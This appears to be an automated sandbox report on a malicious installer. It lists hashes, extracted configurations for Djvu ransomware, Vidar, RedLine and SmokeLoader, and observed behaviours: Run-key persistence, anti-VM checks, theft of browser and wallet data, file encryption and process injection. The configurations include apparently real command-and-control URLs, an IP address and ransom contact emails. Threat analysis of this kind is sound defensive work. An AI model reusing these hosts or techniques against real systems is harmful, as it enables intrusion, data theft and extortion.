Overview
overview
10Static
static
setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows11_x64
10setup_x86_...ll.exe
windows10_x64
10setup_x86_...ll.exe
windows10_x64
10setup_x86_...ll.exe
windows10_x64
10setup_x86_...ll.exe
windows10_x64
10setup_x86_...ll.exe
windows10_x64
10Analysis
-
max time kernel
1811s -
max time network
1812s -
platform
windows10_x64 -
resource
win10-de -
submitted
12-09-2021 18:05
Static task
static1
Behavioral task
behavioral1
Sample
setup_x86_x64_install.exe
Resource
win7-jp
Behavioral task
behavioral2
Sample
setup_x86_x64_install.exe
Resource
win7-fr
Behavioral task
behavioral3
Sample
setup_x86_x64_install.exe
Resource
win7v20210408
Behavioral task
behavioral4
Sample
setup_x86_x64_install.exe
Resource
win7-de
Behavioral task
behavioral5
Sample
setup_x86_x64_install.exe
Resource
win11
Behavioral task
behavioral6
Sample
setup_x86_x64_install.exe
Resource
win10v20210408
Behavioral task
behavioral7
Sample
setup_x86_x64_install.exe
Resource
win10-jp
Behavioral task
behavioral8
Sample
setup_x86_x64_install.exe
Resource
win10-fr
Behavioral task
behavioral9
Sample
setup_x86_x64_install.exe
Resource
win10-en
Behavioral task
behavioral10
Sample
setup_x86_x64_install.exe
Resource
win10-de
General
-
Target
setup_x86_x64_install.exe
-
Size
3.5MB
-
MD5
1b5154bc65145adba0a58e964265d5f2
-
SHA1
5a96fd55be61222b3e6438712979dc2a18a50b8c
-
SHA256
c48cd55efee57f0b7ff4547a0a20ebfbdf4188d059512b10a29879bf30c4fc19
-
SHA512
9465da97b0986fef660e3f7725b4d4c034bef677acbe36382d95a8052c54634f004162aa3f105156e503af1b26632e47e44234ef9825b388260a6bcd310a5026
Malware Config
Extracted
http://shellloader.com/welcome
Extracted
C:\_readme.txt
djvu
manager@mailtemp.ch
managerhelper@airmail.cc
https://we.tl/t-CtDpAM1g5f
Extracted
vidar
40.5
706
https://gheorghip.tumblr.com/
-
profile_id
706
Extracted
redline
pab123
45.14.49.169:22411
Extracted
smokeloader
2020
http://varmisende.com/upload/
http://fernandomayol.com/upload/
http://nextlytm.com/upload/
http://people4jan.com/upload/
http://asfaltwerk.com/upload/
Signatures
-
Djvu Ransomware
Ransomware which is a variant of the STOP family.
-
Modifies system executable filetype association 2 TTPs 3 IoCs
Processes:
OneDriveSetup.exedescription ioc process Key deleted \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx\ = "{CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B}" OneDriveSetup.exe -
Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
rundll32.exerundll32.exerundll32.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4288 3468 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5908 3468 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 7284 3468 rundll32.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 4 IoCs
Processes:
resource yara_rule behavioral10/memory/4304-247-0x0000000004C30000-0x0000000004C4E000-memory.dmp family_redline behavioral10/memory/4780-326-0x000000000041C5DE-mapping.dmp family_redline behavioral10/memory/4304-235-0x0000000004BC0000-0x0000000004BDF000-memory.dmp family_redline behavioral10/memory/4680-415-0x000000000041C5E2-mapping.dmp family_redline -
Registers COM server for autorun 1 TTPs
-
ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars Payload 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\7zS8CBC81D3\Sun05d60bc3b96248e5.exe family_socelars C:\Users\Admin\AppData\Local\Temp\7zS8CBC81D3\Sun05d60bc3b96248e5.exe family_socelars -
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
Processes:
WerFault.exedescription pid process target process PID 5464 created 4624 5464 WerFault.exe setup.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
Processes:
svchost.exedescription pid process target process PID 6484 created 4756 6484 svchost.exe LzmwAqmV.exe PID 6484 created 7216 6484 svchost.exe OneDriveSetup.exe -
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
-
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
-
suricata: ET MALWARE Observed Win32/Ymacco.AA36 User-Agent
suricata: ET MALWARE Observed Win32/Ymacco.AA36 User-Agent
-
suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request
suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request
-
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
-
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
-
suricata: ET MALWARE Win32/Adware.Agent.NSU CnC Activity
suricata: ET MALWARE Win32/Adware.Agent.NSU CnC Activity
-
suricata: ET MALWARE Win32/Adware.Agent.NSU CnC Activity M2
suricata: ET MALWARE Win32/Adware.Agent.NSU CnC Activity M2
-
suricata: ET MALWARE Win32/Tnega Activity (GET)
suricata: ET MALWARE Win32/Tnega Activity (GET)
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 2 IoCs
Processes:
resource yara_rule behavioral10/memory/4388-228-0x0000000000400000-0x00000000017F2000-memory.dmp family_vidar behavioral10/memory/4388-230-0x0000000003470000-0x0000000003541000-memory.dmp family_vidar -
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\7zS8CBC81D3\libcurlpp.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS8CBC81D3\libcurl.dll aspack_v212_v242 \Users\Admin\AppData\Local\Temp\7zS8CBC81D3\libcurl.dll aspack_v212_v242 \Users\Admin\AppData\Local\Temp\7zS8CBC81D3\libcurlpp.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS8CBC81D3\libstdc++-6.dll aspack_v212_v242 \Users\Admin\AppData\Local\Temp\7zS8CBC81D3\libstdc++-6.dll aspack_v212_v242 -
Blocklisted process makes network request 49 IoCs
Processes:
powershell.exeMsiExec.exeflow pid process 123 5308 powershell.exe 228 6996 MsiExec.exe 229 6996 MsiExec.exe 230 6996 MsiExec.exe 231 6996 MsiExec.exe 232 6996 MsiExec.exe 233 6996 MsiExec.exe 234 6996 MsiExec.exe 235 6996 MsiExec.exe 236 6996 MsiExec.exe 239 6996 MsiExec.exe 242 6996 MsiExec.exe 243 6996 MsiExec.exe 244 6996 MsiExec.exe 245 6996 MsiExec.exe 247 6996 MsiExec.exe 250 6996 MsiExec.exe 251 6996 MsiExec.exe 252 6996 MsiExec.exe 253 6996 MsiExec.exe 254 6996 MsiExec.exe 255 6996 MsiExec.exe 256 6996 MsiExec.exe 259 6996 MsiExec.exe 262 6996 MsiExec.exe 263 6996 MsiExec.exe 264 6996 MsiExec.exe 265 6996 MsiExec.exe 268 6996 MsiExec.exe 270 6996 MsiExec.exe 271 6996 MsiExec.exe 273 6996 MsiExec.exe 274 6996 MsiExec.exe 275 6996 MsiExec.exe 276 6996 MsiExec.exe 277 6996 MsiExec.exe 278 6996 MsiExec.exe 279 6996 MsiExec.exe 280 6996 MsiExec.exe 281 6996 MsiExec.exe 282 6996 MsiExec.exe 283 6996 MsiExec.exe 284 6996 MsiExec.exe 285 6996 MsiExec.exe 286 6996 MsiExec.exe 289 6996 MsiExec.exe 290 6996 MsiExec.exe 291 6996 MsiExec.exe 293 6996 MsiExec.exe -
Downloads MZ/PE file
-
Drops file in Drivers directory 1 IoCs
Processes:
46807GHF____.exedescription ioc process File opened for modification C:\Windows\system32\drivers\etc\hosts 46807GHF____.exe -
Executes dropped EXE 64 IoCs
Processes:
setup_installer.exesetup_install.exeSun05d60bc3b96248e5.exeSun05640630a6aa.exeSun050462125c7d35.exeSun052bbd8bebd9.exeSun05fa3b4d2ae56e.exeSun05ac1b0207d3ff3b8.exeSun059375dac544fc4a.exeSun05899db881f67fb29.exeSun054fe19a12cb3.exeSun05532f7abc.exeSun054fe19a12cb3.tmpLzmwAqmV.exe1441614.exe2558136.exeChrome 5.exe46807GHF____.exePublicDwlBrowser1100.exe2.exe6003733.exesetup.exeWinHoster.exeudptest.exesetup_2.exe1354845.exe3002.exesetup_2.tmpjhuuee.exeBearVpn 3.exe6003733.exesetup_2.exesetup_2.tmpLzmwAqmV.exe8187961.exe6111119.exe7848959.exe3002.exe7479873.exepostback.exe7848959.exeultramediaburner.exeultramediaburner.tmpJovoniwahy.exeUltraMediaBurner.exeVupywitike.exeservices64.exeGcleanerEU.exeinstaller.exeanyname.exegcleaner.exeLzmwAqmV.exesihost64.exeScYWlZMGs.exe79B5.exefSDTvGEVL.exeOneDriveSetup.exeAEDF.exeF1D5.exeAEDF.exeAEDF.exebuild2.exevUslFXaOvQ.exebuild3.exepid process 3016 setup_installer.exe 1924 setup_install.exe 4216 Sun05d60bc3b96248e5.exe 4268 Sun05640630a6aa.exe 4292 Sun050462125c7d35.exe 4304 Sun052bbd8bebd9.exe 4400 Sun05fa3b4d2ae56e.exe 4388 Sun05ac1b0207d3ff3b8.exe 4368 Sun059375dac544fc4a.exe 4412 Sun05899db881f67fb29.exe 4460 Sun054fe19a12cb3.exe 4444 Sun05532f7abc.exe 4692 Sun054fe19a12cb3.tmp 4888 LzmwAqmV.exe 4916 1441614.exe 4984 2558136.exe 4224 Chrome 5.exe 4492 46807GHF____.exe 3176 PublicDwlBrowser1100.exe 4020 2.exe 4252 6003733.exe 4624 setup.exe 648 WinHoster.exe 1108 udptest.exe 1636 setup_2.exe 1708 1354845.exe 4164 3002.exe 4276 setup_2.tmp 2460 jhuuee.exe 4516 BearVpn 3.exe 4780 6003733.exe 4856 setup_2.exe 4380 setup_2.tmp 4756 LzmwAqmV.exe 2680 8187961.exe 4932 6111119.exe 1932 7848959.exe 1012 3002.exe 1176 7479873.exe 1516 postback.exe 4680 7848959.exe 4996 ultramediaburner.exe 4072 ultramediaburner.tmp 4112 Jovoniwahy.exe 2112 UltraMediaBurner.exe 5136 Vupywitike.exe 4236 services64.exe 6276 GcleanerEU.exe 6888 installer.exe 7116 anyname.exe 5992 gcleaner.exe 6528 LzmwAqmV.exe 4248 sihost64.exe 7700 ScYWlZMGs.exe 5664 79B5.exe 6132 fSDTvGEVL.exe 7216 OneDriveSetup.exe 4684 AEDF.exe 5096 F1D5.exe 6196 AEDF.exe 7744 AEDF.exe 7056 build2.exe 7468 vUslFXaOvQ.exe 7260 build3.exe -
Modifies RDP port number used by Windows 1 TTPs
-
Modifies extensions of user files 11 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
AEDF.exedescription ioc process File renamed C:\Users\Admin\Pictures\FindWait.tif => C:\Users\Admin\Pictures\FindWait.tif.wiot AEDF.exe File renamed C:\Users\Admin\Pictures\OutFind.tif => C:\Users\Admin\Pictures\OutFind.tif.wiot AEDF.exe File renamed C:\Users\Admin\Pictures\ResolveSelect.tiff => C:\Users\Admin\Pictures\ResolveSelect.tiff.wiot AEDF.exe File renamed C:\Users\Admin\Pictures\BlockRedo.raw => C:\Users\Admin\Pictures\BlockRedo.raw.wiot AEDF.exe File renamed C:\Users\Admin\Pictures\CloseConnect.raw => C:\Users\Admin\Pictures\CloseConnect.raw.wiot AEDF.exe File renamed C:\Users\Admin\Pictures\DisconnectGroup.raw => C:\Users\Admin\Pictures\DisconnectGroup.raw.wiot AEDF.exe File renamed C:\Users\Admin\Pictures\LimitTest.png => C:\Users\Admin\Pictures\LimitTest.png.wiot AEDF.exe File renamed C:\Users\Admin\Pictures\NewSplit.png => C:\Users\Admin\Pictures\NewSplit.png.wiot AEDF.exe File renamed C:\Users\Admin\Pictures\RequestClear.png => C:\Users\Admin\Pictures\RequestClear.png.wiot AEDF.exe File opened for modification C:\Users\Admin\Pictures\ResolveSelect.tiff AEDF.exe File renamed C:\Users\Admin\Pictures\StartRequest.crw => C:\Users\Admin\Pictures\StartRequest.crw.wiot AEDF.exe -
Sets DLL path for service in the registry 2 TTPs
-
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
B8CF.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion B8CF.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion B8CF.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
Jovoniwahy.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Control Panel\International\Geo\Nation Jovoniwahy.exe -
Loads dropped DLL 53 IoCs
Processes:
setup_install.exeSun054fe19a12cb3.tmpsetup_2.tmpsetup_2.tmprundll32.exeSun05ac1b0207d3ff3b8.exerundll32.exeinstaller.exeMsiExec.exerundll32.exeMsiExec.exeMsiExec.exeF1D5.exebuild2.exeFileSyncConfig.exepid process 1924 setup_install.exe 1924 setup_install.exe 1924 setup_install.exe 1924 setup_install.exe 1924 setup_install.exe 4692 Sun054fe19a12cb3.tmp 4276 setup_2.tmp 4380 setup_2.tmp 4944 rundll32.exe 4388 Sun05ac1b0207d3ff3b8.exe 4388 Sun05ac1b0207d3ff3b8.exe 5928 rundll32.exe 6888 installer.exe 6888 installer.exe 6888 installer.exe 6916 MsiExec.exe 6916 MsiExec.exe 7312 rundll32.exe 6996 MsiExec.exe 6996 MsiExec.exe 6996 MsiExec.exe 6996 MsiExec.exe 6996 MsiExec.exe 6996 MsiExec.exe 6996 MsiExec.exe 6996 MsiExec.exe 6996 MsiExec.exe 6996 MsiExec.exe 6888 installer.exe 6996 MsiExec.exe 6996 MsiExec.exe 5236 MsiExec.exe 5236 MsiExec.exe 5236 MsiExec.exe 5236 MsiExec.exe 5236 MsiExec.exe 5236 MsiExec.exe 5236 MsiExec.exe 6996 MsiExec.exe 5096 F1D5.exe 5096 F1D5.exe 5096 F1D5.exe 5096 F1D5.exe 5096 F1D5.exe 6280 build2.exe 6280 build2.exe 8060 FileSyncConfig.exe 8060 FileSyncConfig.exe 8060 FileSyncConfig.exe 8060 FileSyncConfig.exe 8060 FileSyncConfig.exe 8060 FileSyncConfig.exe 8060 FileSyncConfig.exe -
Modifies file permissions 1 TTPs 1 IoCs
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 6 IoCs
Processes:
2558136.exe46807GHF____.exeAEDF.exeOneDriveSetup.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe" 2558136.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\WindowsPowerShell\\Xawutigany.exe\"" 46807GHF____.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\3eedc4fe-4a39-4961-b84a-cecbcb4d1e46\\AEDF.exe\" --AutoStart" AEDF.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Delete Cached Update Binary = "C:\\Windows\\system32\\cmd.exe /q /c del /q \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Update\\OneDriveSetup.exe\"" OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Delete Cached Standalone Update Binary = "C:\\Windows\\system32\\cmd.exe /q /c del /q \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\StandaloneUpdater\\OneDriveSetup.exe\"" OneDriveSetup.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
B8CF.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA B8CF.exe -
Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
installer.exemsiexec.exedescription ioc process File opened (read-only) \??\E: installer.exe File opened (read-only) \??\P: installer.exe File opened (read-only) \??\Q: installer.exe File opened (read-only) \??\T: installer.exe File opened (read-only) \??\W: installer.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\F: installer.exe File opened (read-only) \??\J: installer.exe File opened (read-only) \??\R: installer.exe File opened (read-only) \??\X: installer.exe File opened (read-only) \??\Y: installer.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\I: installer.exe File opened (read-only) \??\K: installer.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\A: installer.exe File opened (read-only) \??\H: installer.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\G: installer.exe File opened (read-only) \??\N: installer.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\S: installer.exe File opened (read-only) \??\U: installer.exe File opened (read-only) \??\Z: installer.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\L: installer.exe File opened (read-only) \??\M: installer.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\B: installer.exe File opened (read-only) \??\O: installer.exe File opened (read-only) \??\V: installer.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 9 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 805 api.2ip.ua 13 ip-api.com 439 api.2ip.ua 440 api.2ip.ua 568 api.2ip.ua 798 api.2ip.ua 106 ip-api.com 799 api.2ip.ua 870 api.2ip.ua -
Drops file in System32 directory 19 IoCs
Processes:
svchost.exesvchost.exepowershell.exedescription ioc process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\644B8874112055B5E195ECB0E8F243A4 svchost.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #2 svchost.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #6 svchost.exe File opened for modification C:\Windows\System32\Tasks\services64 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 svchost.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #3 svchost.exe File opened for modification C:\Windows\System32\Tasks\Azure-Update-Task svchost.exe File opened for modification C:\Windows\System32\Tasks\OneDrive Standalone Update Task-S-1-5-21-2559286294-2439613352-4032193287-1000 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\644B8874112055B5E195ECB0E8F243A4 svchost.exe File opened for modification C:\Windows\System32\Tasks\Firefox Default Browser Agent 6E9BEDD2A3E75F76 svchost.exe File opened for modification C:\Windows\System32\Tasks\Time Trigger Task svchost.exe File created C:\Windows\SysWOW64\rdpclip.exe powershell.exe File opened for modification C:\Windows\System32\Tasks\User_Feed_Synchronization-{4F246605-F333-40E5-8FE6-2ED3621ADF90} svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 svchost.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #1 svchost.exe File opened for modification C:\Windows\System32\Tasks\AdvancedUpdater svchost.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #4 svchost.exe File opened for modification C:\Windows\System32\Tasks\AdvancedWindowsManager #5 svchost.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
Processes:
B8CF.exepid process 2788 B8CF.exe -
Suspicious use of SetThreadContext 39 IoCs
Processes:
6003733.exesvchost.exe7848959.exepostback.exeservices64.exeOneDriveSetup.exeAEDF.exebuild2.exebuild3.exemstsca.exemstsca.exemstsca.exemstsca.exemstsca.exemstsca.exemstsca.exemstsca.exemstsca.exemstsca.exemstsca.exemstsca.exeAEDF.exemstsca.exemstsca.exemstsca.exemstsca.exemstsca.exeAEDF.exemstsca.exemstsca.exemstsca.exemstsca.exemstsca.exeAEDF.exemstsca.exemstsca.exemstsca.exemstsca.exemstsca.exedescription pid process target process PID 4252 set thread context of 4780 4252 6003733.exe 6003733.exe PID 2800 set thread context of 5092 2800 svchost.exe svchost.exe PID 1932 set thread context of 4680 1932 7848959.exe 7848959.exe PID 1516 set thread context of 5740 1516 postback.exe explorer.exe PID 4236 set thread context of 7460 4236 services64.exe explorer.exe PID 7216 set thread context of 4684 7216 OneDriveSetup.exe AEDF.exe PID 6196 set thread context of 7744 6196 AEDF.exe AEDF.exe PID 7056 set thread context of 6280 7056 build2.exe build2.exe PID 7260 set thread context of 8172 7260 build3.exe build3.exe PID 7952 set thread context of 204 7952 mstsca.exe mstsca.exe PID 7676 set thread context of 7396 7676 mstsca.exe mstsca.exe PID 4048 set thread context of 8140 4048 mstsca.exe mstsca.exe PID 7360 set thread context of 7732 7360 mstsca.exe mstsca.exe PID 7448 set thread context of 5976 7448 mstsca.exe mstsca.exe PID 1456 set thread context of 6064 1456 mstsca.exe mstsca.exe PID 5476 set thread context of 1364 5476 mstsca.exe mstsca.exe PID 5852 set thread context of 6340 5852 mstsca.exe mstsca.exe PID 6296 set thread context of 7952 6296 mstsca.exe mstsca.exe PID 4444 set thread context of 6620 4444 mstsca.exe mstsca.exe PID 5400 set thread context of 6936 5400 mstsca.exe mstsca.exe PID 4192 set thread context of 6172 4192 mstsca.exe mstsca.exe PID 4836 set thread context of 1348 4836 AEDF.exe AEDF.exe PID 7452 set thread context of 6300 7452 mstsca.exe mstsca.exe PID 2980 set thread context of 7244 2980 mstsca.exe mstsca.exe PID 6524 set thread context of 5684 6524 mstsca.exe mstsca.exe PID 5156 set thread context of 7256 5156 mstsca.exe mstsca.exe PID 6944 set thread context of 4688 6944 mstsca.exe mstsca.exe PID 4268 set thread context of 7380 4268 AEDF.exe AEDF.exe PID 6552 set thread context of 4320 6552 mstsca.exe mstsca.exe PID 2148 set thread context of 2176 2148 mstsca.exe mstsca.exe PID 6324 set thread context of 5612 6324 mstsca.exe mstsca.exe PID 3024 set thread context of 3920 3024 mstsca.exe mstsca.exe PID 5616 set thread context of 8056 5616 mstsca.exe mstsca.exe PID 2508 set thread context of 6668 2508 AEDF.exe AEDF.exe PID 1264 set thread context of 4804 1264 mstsca.exe mstsca.exe PID 4916 set thread context of 4568 4916 mstsca.exe mstsca.exe PID 6568 set thread context of 6164 6568 mstsca.exe mstsca.exe PID 6640 set thread context of 7476 6640 mstsca.exe mstsca.exe PID 5084 set thread context of 3712 5084 mstsca.exe mstsca.exe -
Drops file in Program Files directory 18 IoCs
Processes:
ultramediaburner.tmp46807GHF____.exemsiexec.exesetup_2.tmpdescription ioc process File created C:\Program Files (x86)\UltraMediaBurner\is-TU8QC.tmp ultramediaburner.tmp File created C:\Program Files (x86)\UltraMediaBurner\is-7QM64.tmp ultramediaburner.tmp File opened for modification C:\Program Files (x86)\UltraMediaBurner\unins000.dat ultramediaburner.tmp File created C:\Program Files (x86)\WindowsPowerShell\Xawutigany.exe 46807GHF____.exe File created C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe msiexec.exe File opened for modification C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.ini msiexec.exe File created C:\Program Files (x86)\FarLabUninstaller\is-SS9OA.tmp setup_2.tmp File opened for modification C:\Program Files (x86)\FarLabUninstaller\unins000.dat setup_2.tmp File created C:\Program Files (x86)\WindowsPowerShell\Xawutigany.exe.config 46807GHF____.exe File created C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe msiexec.exe File created C:\Program Files (x86)\FarLabUninstaller\unins000.dat setup_2.tmp File created C:\Program Files\Internet Explorer\EMIPSUZPGK\ultramediaburner.exe.config 46807GHF____.exe File created C:\Program Files (x86)\AW Manager\Windows Manager\Uninstall.lnk msiexec.exe File opened for modification C:\Program Files (x86)\AW Manager\Windows Manager\Privacy.url msiexec.exe File created C:\Program Files\Internet Explorer\EMIPSUZPGK\ultramediaburner.exe 46807GHF____.exe File opened for modification C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe ultramediaburner.tmp File created C:\Program Files (x86)\UltraMediaBurner\unins000.dat ultramediaburner.tmp File opened for modification C:\Program Files (x86)\AW Manager\Windows Manager\EULA.url msiexec.exe -
Drops file in Windows directory 56 IoCs
Processes:
MicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdge.exemsiexec.exepowershell.exepowershell.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeExplorer.EXEMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exedescription ioc process File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdgeCP.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdgeCP.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdge.exe File opened for modification C:\Windows\Installer\MSIFE08.tmp msiexec.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\Installer\MSIF819.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIF8E6.tmp msiexec.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdgeCP.exe File opened for modification C:\Windows\Installer\MSIF056.tmp msiexec.exe File created C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\logo.exe msiexec.exe File created C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\Installer\MSIEF99.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSI1218.tmp msiexec.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdgeCP.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSIED63.tmp msiexec.exe File created C:\Windows\Installer\SourceHash{C845414C-903C-4218-9DE7-132AB97FDF62} msiexec.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri Explorer.EXE File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File opened for modification C:\Windows\Installer\MSIEF1B.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIFE38.tmp msiexec.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdgeCP.exe File opened for modification C:\Windows\Installer\MSIFA5E.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC84.tmp msiexec.exe File opened for modification C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\logo.exe msiexec.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdgeCP.exe File opened for modification C:\Windows\Installer\MSIF103.tmp msiexec.exe File created C:\Windows\Installer\f74eb91.msi msiexec.exe 